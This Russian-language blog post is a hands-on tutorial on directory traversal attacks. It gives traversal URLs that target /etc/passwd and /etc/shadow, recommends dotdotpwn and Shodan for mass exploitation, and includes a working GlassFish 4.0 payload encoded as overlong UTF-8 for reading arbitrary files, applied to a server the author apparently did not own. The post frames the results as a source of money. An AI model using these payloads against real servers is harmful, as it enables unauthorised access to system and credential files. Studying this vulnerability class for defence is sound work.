Практика проведения атаки Directory Traversal

Сегодня я хочу тебе показать на практике, как может применяться атака Directory Traversal или Path Traversal. Это очень простая и популярная атака. Но с ее помощью можно получить доступ к важной информации на сервере. Как это сделать, и какие основные особенности этой атаки я расскажу в этой статье. Мы планируем выпустить целую подборку статей по WEBу, поэтому рекомендую тебе быть в теме, чтоб не пропустить следующие материалы.

Картинки по запросу Directory Traversal

Что же такое Directory Traversal и сколько слешей нужно доставлять?

Помимо стандартных документов на вебсервер загружаются разные файлы, скрипты, шаблоны конфигураций и другие документы. При правильной настройке, пользователь не может получить доступ к этим файлам. У него просто нет прав на другие директории. Обычно, при переходе на такую страницу ты видишь 403 код ошибки.

Нам особенно интересны случаи, когда возникают ошибки конфигураций и эти директории (по случайности или по глупости) открыты и мы получаем доступ со всеми правами (root). Это позволяет нам просматривать файлы, изменять их, а также проводить другие манипуляции. Именно этим мы сегодня и займемся, разминаясь на конкретных примерах.

Как найти такую уязвимость?

Очень полезно анализировать информацию о найденных и уже описанных уязвимостях. Например, найти уязвимый плагин или CMS на Exploit Database, прочекать аналогичные системы в Shodan и получить сливки в виде актуальных результатов. Этот способ больше подходит для случаев, когда нужно массово получать доступ к серверам, а не проверять конкретный кейс.

Для конкретных задач отлично подойдут автоматические сканеры, например Acunetix и Netsparker. Почти самый популярный случай, когда в урле передается параметр:

 http://some_site.com.br/get-files.jsp?file=report.pdf 

А потом бывает вот так:

http://some_site.com.br/../../../../etc/shadow  
http://some_site.com.br/get-files?file=/etc/passwd 

Но в общем случае это выглядит примерно вот как:

http://some_site.com.br/../../../../some dir/some file 

Также существуют автоматические инструменты, например dotdotpwn. Можно скачать с гитхаба. Инструмент давненько не обновлялся, но со своими функциями справляется на ура.

Софт максимально простой, но достаточно быстро подбирает возможные варианты по списку пейлоадов.

Если что-то нашлось, то видим такое сообщение:

Перейдем к практике.

Oracle Glassfish 4.0

Дабы не углубляться в скучную теорию, покажу тебе на практике. Мне в руки попался сервер вот с такой версией. Ну не счастье ли?

Проверяем ее на наличие уязвимостей на exploit-db и получаем вот такую страницу с надписью: «GlassFish Server — Arbitrary File Read».

Нам нужно с этой страницы вытащить строчку, которая позволяет прочитать файл /etc/passwd. А все просто потому, что в нем есть пользователи системы, их никнеймы, идентификаторы, а также домашние каталоги. Информация о паролях, как правило, хранится где-то в другом месте. И так добавим в адрес строку (вместо http://site.com:4848 подставляем свой домен с портом):

http://site.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Читаем в ответе содержание файла:

Можем еще попробовать вытащить информацию о системе или вызвать дополнительные ошибки с помощью такой команды:

http://site.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/issues

Но, самая интересная штука происходит тогда, когда ты узнал, что какая-то информация подгружается из файла, а ты знаешь, где этот файл лежит. Тогда вообще никакого труда не составит взять и прочитать его. Достаточно вместо нашей стандартной строки, дописать нужный файл, и получить его содержание. Я, например, точно знал, что в корне лежит файл logs.txt. Также, там могут лежать и другие файлы ― логи, скрипты и даже данные с доступами на другие сервера.

http://site.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/logs.txt

Заключение

Вот так выглядит эта уязвимость. Встречается она на разных ресурсах. С ее помощью можно скачать файлы, прочитать конфиги, а также получить доступ к интересным директориям. По моим показателям найденных уязвимостей, она занимает уверенное третье место, после невероятных XSS и SQL, которые мы разберем в следующих статьях. Помни, что автоматические инструменты и подходы это всегда хорошо, но бывает, иногда нужно попотеть и найти что-то ручками. Ведь сканеры видят далеко не всё. Полученный результат может принести хорошие деньги. Ведь его ещё не затаскали до дыр, прочекав тысячу раз. На этом все, до следующих статей.

Click to rate this post!
[Total: 4 Average: 5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

1 comments On Практика проведения атаки Directory Traversal

  • Хорошая статья. Позволила найти в ПО одну ошибку. Теперь чуть меньше проблем с безопасностью.

Leave a reply:

Your email address will not be published.